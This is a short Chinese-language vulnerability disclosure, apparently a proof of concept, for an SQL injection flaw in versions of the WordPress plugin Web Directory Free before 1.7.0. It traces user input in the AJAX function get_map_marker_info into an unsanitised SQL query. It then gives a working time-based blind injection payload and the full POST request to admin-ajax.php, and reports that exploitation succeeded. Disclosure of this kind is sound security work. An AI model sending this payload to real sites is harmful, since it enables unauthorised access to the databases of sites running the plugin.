Web Directory Free(WordPress)插件在 1.7.0 之前的版本存在 SQL 注入漏洞。AJAX 执行函数未经过充分的过滤/净化(sanitise),允许攻击者使 SQL 查询失效或注入额外的子句(UNION、时间型、报错型)
在文件 ajax-controller.php → 类 w2dc_ajax_controller → 函数 get_map_marker_info 中
$_POST['locations_ids'] 的值接收用户输入,且未进行验证(validate)$locations_ids = w2dc_getValue($_POST, 'locations_ids');$_POST['locations_ids'] 中的每个元素 $location_id,直接拼接进 SQL 查询语句$row = $wpdb->get_row("SELECT * FROM {$wpdb->w2dc_locations_relationships} WHERE id=".$location_id, ARRAY_A);
⇒ 导致 SQL 注入
使用 payload =action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 1 FROM (SELECT IF(1=1,SLEEP(5),0)) AS a)
请求:
POST /wp-admin/admin-ajax.php HTTP/1.1

sec-ch-ua-platform: "Linux"

action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 1 FROM (SELECT IF(1=1,SLEEP(5),0)) AS a)
结论:
⇒ 已成功执行注入的查询 ⇒ 利用成功
